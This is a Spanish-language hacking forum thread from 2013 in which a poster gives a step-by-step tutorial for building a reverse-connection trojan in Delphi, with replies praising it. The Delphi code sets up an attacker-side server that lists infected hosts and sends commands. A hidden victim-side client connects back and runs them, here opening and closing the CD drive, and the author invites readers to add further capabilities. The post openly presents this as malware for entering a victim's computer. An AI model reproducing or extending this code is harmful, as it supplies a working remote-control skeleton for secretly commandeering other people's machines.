comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] Creacion de un Troyano de conexion inversa

  • 4 Respuestas
  • 3797 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Octubre 29, 2013, 06:38:53 pm »
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.

En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.
 
Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.

Para instarlo tenemos que ir a Menu -> components -> install packages

En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl

Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.

Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.

0x02 : Creacion del servidor

Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Para hacer el formulario decente tenemos que agregar lo siguiente.

  • 1 ListBox
  • 2 botones
  • 1 Edit
  • 1 ServerSocket (lo ponemos en true para que este activo )


Tiene que quedar como esta imagen.



Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.

Código: Delphi
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.   lugar: integer; // Declaramos la variable lugar como entero
  4. begin
  5.  
  6.   ListBox1.Clear; // Limpiamos el contenido de ListBox
  7.  
  8.   for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
  9.   // Listamos las conexiones que
  10.   // hay en el server
  11.   begin
  12.     ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
  13.     // Agregamos al ListBox
  14.     // el host del infectado
  15.     // conectado
  16.   end;
  17.  
  18. end;
  19.  

Tiene que quedar como en la siguiente imagen.



Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.

Código: Delphi
  1. procedure TForm1.Button2Click(Sender: TObject);
  2.  
  3. begin
  4.  
  5.   ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
  6.   // Mandamos el comando
  7.   // al pc infectado que
  8.   // seleccionamos en el
  9.   // ListBox
  10.  
  11. end;
  12.  

Una imagen de como deberia quedar el codigo.




0x03 : Creacion del cliente

Ahora pasamos al cliente.

Lo unico que debemos agregar es el componente ClientSocket al formulario.

Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.

Código: Delphi
  1. procedure TForm1.FormCreate(Sender: TObject);
  2. begin
  3.  
  4.   ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
  5.   ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
  6.   ClientSocket1.Open; // Iniciamos la conexion con el servidor
  7.  
  8.   Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana
  9.  
  10. end;
  11.  

Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.

Código: Delphi
  1. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  2. var
  3.   code: string;
  4. begin
  5.  
  6.   // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora
  7.  
  8.   code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code
  9.  
  10.   if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
  11.   begin
  12.     mciSendString('Set cdaudio door open wait', nil, 0, handle);
  13.     // Usamos mciSendString para abrir
  14.     // la lectora
  15.   end;
  16.  
  17.   if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
  18.   begin
  19.     mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  20.     // Cerramos la lectora usando
  21.     // mciSendString
  22.   end;
  23.  
  24. end;
  25.  

Una imagen de como deberia quedar el codigo.



0x04 : Probando el programa

El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.

Les muestro una imagen de como seria todo.



Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.
 
--========--
  The End ?
--========--

Version PDF.

Desconectado CrazyKade

  • *
  • Underc0der
  • Mensajes: 182
  • Actividad:
    0%
  • Reputación 0
  • Я только знаю что ничего не знаю!
    • Ver Perfil
« Respuesta #1 en: Octubre 30, 2013, 02:38:52 am »
Excelente post! Felicitaciones!

CrazyKade

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5411
  • Actividad:
    20%
  • Reputación 33
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Octubre 30, 2013, 08:38:44 am »
Tremendo Doddy! Excelente trabajo!
Muy muy bueno!


Desconectado Rr_bUg32

  • *
  • Underc0der
  • Mensajes: 9
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #3 en: Octubre 31, 2013, 06:36:14 pm »
c00L-- ;)
 muy bueno
esperaremos  tu  troyan programado en Delphi! ;D

Desconectado _inicio_cerrarsesión

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Mayo 05, 2017, 09:10:55 am »
me encanto, sobre todo por los recien iniciados como yo en Delphi

si puedieran resubir el link del pdf

gracias

 

¿Te gustó el post? COMPARTILO!



[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2055
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3265
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Delphi] Project Arsenal X 0.2 (Regalo de navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 2947
Último mensaje Diciembre 28, 2015, 10:27:44 am
por BigBear
Poner splash screen con progress bar en delphi

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2987
Último mensaje Febrero 24, 2010, 04:54:23 pm
por ANTRAX
[Delphi] Project Spartacus 1.0 (Regalo de Navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 1680
Último mensaje Diciembre 26, 2014, 11:54:34 pm
por n4pst3r